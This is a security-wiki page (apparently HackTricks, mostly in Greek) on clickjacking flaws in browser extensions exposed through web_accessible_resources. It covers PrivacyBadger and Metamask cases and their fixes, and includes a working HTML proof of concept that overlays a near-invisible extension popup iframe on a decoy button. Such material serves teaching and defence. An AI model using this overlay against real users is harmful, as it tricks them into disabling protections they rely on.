BrowExt - ClickJacking

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Αυτή η σελίδα θα εκμεταλλευτεί μια ευπάθεια ClickJacking σε μια επέκταση προγράμματος περιήγησης.
Αν δεν ξέρετε τι είναι το ClickJacking, ελέγξτε:

Clickjacking

Οι επεκτάσεις περιέχουν το αρχείο manifest.json και αυτό το αρχείο JSON έχει ένα πεδίο web_accessible_resources. Να τι λένε τα έγγραφα του Chrome:

Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL chrome-extension://[PACKAGE ID]/[PATH], το οποίο μπορεί να παραχθεί με τη μέθοδο extension.getURL. Οι πόροι που έχουν επιτραπεί σε λευκή λίστα σερβίρονται με κατάλληλους CORS επικεφαλίδες, έτσι είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.1

Οι web_accessible_resources σε μια επέκταση προγράμματος περιήγησης δεν είναι απλώς προσβάσιμοι μέσω του διαδικτύου; λειτουργούν επίσης με τα εγγενή προνόμια της επέκτασης. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:

  • Αλλάξουν την κατάσταση της επέκτασης
  • Φορτώσουν επιπλέον πόρους
  • Αλληλεπιδρούν με τον περιηγητή σε κάποιο βαθμό

Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των web_accessible_resources έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε ενδεχομένως να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης.

PrivacyBadger Example

Στην επέκταση PrivacyBadger, εντοπίστηκε μια ευπάθεια σχετική με τον φάκελο skin/ που δηλώθηκε ως web_accessible_resources με τον εξής τρόπο (Ελέγξτε την αρχική ανάρτηση του blog):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Αυτή η ρύθμιση οδήγησε σε ένα πιθανό πρόβλημα ασφάλειας. Συγκεκριμένα, το αρχείο skin/popup.html, το οποίο αποδίδεται κατά την αλληλεπίδραση με το εικονίδιο PrivacyBadger στον περιηγητή, θα μπορούσε να ενσωματωθεί μέσα σε ένα iframe. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να παραπλανήσει τους χρήστες να κάνουν ακούσια κλικ στο "Απενεργοποίηση PrivacyBadger για αυτόν τον ιστότοπο". Μια τέτοια ενέργεια θα έθετε σε κίνδυνο την ιδιωτικότητα του χρήστη απενεργοποιώντας την προστασία PrivacyBadger και ενδεχομένως υποβάλλοντας τον χρήστη σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτής της εκμετάλλευσης μπορεί να προβληθεί σε ένα βίντεο παραδείγμα ClickJacking που παρέχεται στο https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του /skin/* από τη λίστα των web_accessible_resources. Αυτή η αλλαγή μείωσε αποτελεσματικά τον κίνδυνο διασφαλίζοντας ότι το περιεχόμενο του καταλόγου skin/ δεν θα μπορούσε να προσπελαστεί ή να παρα manipulηθεί μέσω πόρων προσβάσιμων από το διαδίκτυο.

Η διόρθωση ήταν εύκολη: αφαιρέστε το /skin/* από τα web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A blog post about a ClickJacking in metamask can be found here. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):

Ένα άλλο ClickJacking που διορθώθηκε στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να Κάνουν κλικ για να προσθέσουν στη λευκή λίστα όταν μια σελίδα ήταν ύποπτη για phishing λόγω του “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να την προσθέσει στη λευκή λίστα χωρίς να το προσέξει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λευκή λίστα.

Steam Inventory Helper Example

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

BrowExt - XSS Example

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks